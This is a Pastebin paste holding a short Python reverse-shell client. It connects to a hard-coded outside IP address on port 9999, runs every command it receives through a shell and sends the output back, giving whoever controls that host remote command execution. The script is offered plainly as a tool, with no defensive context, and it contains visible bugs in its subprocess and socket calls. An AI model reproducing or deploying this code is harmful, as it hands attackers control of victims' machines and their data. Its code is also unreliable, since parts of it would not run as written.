Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import os
- import subprocess
- s = socket.socket()
- host = '2.29.71.4'
- port = 9999
- s.connect((host, port))
- while True:
- #data received from server
- data = s.recv(1024)
- #changes directory
- if data[:2].decode('utf-8') == 'cd':
- os.chdir(data[3:].decode('utf-8'))
- if len(data) > 0:
- cmd = subprocess.Popen(data[3:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess)
- #Bytes version of output
- output_bytes = cmd.stdout.read() + cmd.stderr.read()
- #String version to be sent over server UTF-8 = basic string encoding
- output_str = str(output_bytes, 'utf-8')
- # Returns current directory in terminal
- s.send(output_str + str(os.getcwd() + '> '))
- print(output_str)
- #Close connection
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement